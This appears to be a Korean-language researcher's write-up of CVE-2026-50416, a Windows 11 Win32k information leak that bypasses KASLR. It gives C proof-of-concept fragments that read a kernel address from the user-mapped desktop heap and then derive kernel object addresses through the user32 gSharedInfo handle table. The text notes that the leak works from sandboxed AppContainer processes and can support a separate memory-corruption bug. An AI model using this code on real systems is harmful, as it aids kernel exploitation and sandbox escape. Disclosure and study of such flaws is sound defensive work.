CVE-2026-50416: Windows 11 KASLR 우회
영향을 받는 시스템에서 Win32 데스크톱 힙의 사용자 매핑에서 이 읽기 작업은 커널 주소를 반환했습니다:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
이것이 전체 공개 내용이다. 처음에는 그럴듯한 상위 비트를 가진 8바이트 값에 불과했다. 나는 그 값을 읽는 것보다 그 값이 무엇을 뒤따르는지 확인하는 데 더 많은 시간을 썼다.
Microsoft는 이 문제를 CVE-2026-50416으로 공개했으며, CWE-200으로 분류된 Win32k 정보 노출 취약점이다.
PoC는 x64 TEB에서 시작한다. GS:[0x30]은 현재 TEB를 가리키고, 내가 테스트한 빌드에서는 TEB + 0x800이 Win32 클라이언트 데이터에 도달하며, 슬롯 5에는 데스크톱 힙의 사용자 주소가 들어 있다:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Slot 5는 해당 클라이언트 데이터에서 또 다른 0x28 바이트 지점입니다. Trellix는 Windows 10 1909에서 tagWND 매핑을 연구하면서 동일한 TEB + 0x800 + 0x28 경로를 문서화했습니다. 이 오프셋들은 ABI가 아닙니다. 저는 이 값들을 하드코딩했으며, 매핑된 영역을 사용하기 전에 그 결과에 대해 VirtualQuery를 호출합니다.
포인터 검사는 정규 x64 부호 확장, 8바이트 정렬, 그리고 알려진 센티널 패턴을 다룹니다. 그런 다음 해당 값은 아래의 동작 테스트를 통과해야 합니다.
메인 PoC는 오프셋 0x100을 읽고, STATIC 하나, BUTTON 하나, EDIT 창 하나를 생성한 뒤, 다시 읽고, 세 창을 파괴한 다음, 한 번 더 읽습니다.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
/* Create STATIC, BUTTON and EDIT windows. */
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
/* Destroy all three. */
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
세 개의 QWORD가 일치했습니다. 해당 윈도우 할당은 생성되었다가 사라졌지만, 0x100에 위치한 값은 그대로였습니다.
kaslr_sandbox_proof.c는 프로세스 비교를 처리합니다. 부모 프로세스는 파이프를 통해 각 자식 프로세스의 stdout을 리다이렉트하고, 자식이 읽은 QWORD를 파싱하여 기준값과 비교합니다.
기본 데스크톱에 연결된 자식 프로세스들은 동일한 값을 반환했습니다. CreateDesktop으로 생성된 데스크톱에 할당된 자식 프로세스는 다른 값을 반환했습니다. 이 하네스는 또한 Low 무결성, AppContainer, 해당 LPAC 구성, 그리고 Low 무결성 AppContainer 자식 프로세스들도 실행합니다. 이들은 모두 부모의 값을 받는 대신 자신의 TEB와 매핑에서 읽기를 수행합니다.
supporting_proof_no_window.c는 CreateWindowEx를 호출하지 않고 읽기를 수행합니다. 새로운 USER 윈도우는 필요하지 않습니다.
메인 PoC는 유출된 값에서 0x40을 뺀 값을 데스크톱 힙에 대응하는 커널 측 베이스로 취급합니다:
ULONG64 candidate_kernel_heap_base = leaked - 0x40;
그런 다음 user32!gSharedInfo를 조회하고, HWND의 하위 16비트를 USER 핸들 테이블 인덱스로 사용하며, HeEntrySize만큼 aheList를 따라 이동합니다. 해당 엔트리의 첫 번째 QWORD가 0이 아니고 매핑된 힙보다 작으면, PoC는 이를 상대적 데스크톱 힙 오프셋으로 사용합니다:
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
if (heap_offset > 0 && heap_offset < heap_size) {
BYTE *user_candidate = desktop_heap + heap_offset;
ULONG64 kernel_candidate = candidate_kernel_heap_base + heap_offset;
}
이는 구형 데스크톱 힙 기법에서 사용되던 것과 동일한 일반적 관계입니다. 사용자 뷰와 커널 뷰가 각자의 힙 베이스로부터 동일한 오프셋에 객체를 배치합니다. Unit 42는 USER 핸들 테이블과 구형 gSharedInfo 및 HMValidateHandle 주소 유출에 관한 유용한 배경 정보를 제공합니다.
그 결과로 얻어진 주소들이 PoC의 커널 객체 후보입니다. 0x40 관계, 핸들 엔트리 레이아웃, TEB 오프셋은 테스트에 사용된 빌드에 속합니다.
객체 후보는 여기까지만 다루겠습니다. desktop_heap + 0x100에 위치한 QWORD는 이미 사용자가 읽을 수 있는 매핑 내의 안정적인 커널 공간 주소 정보입니다. 별도의 Win32k 메모리 손상 버그는 주소 추측 대신 이 값을 사용할 수 있습니다.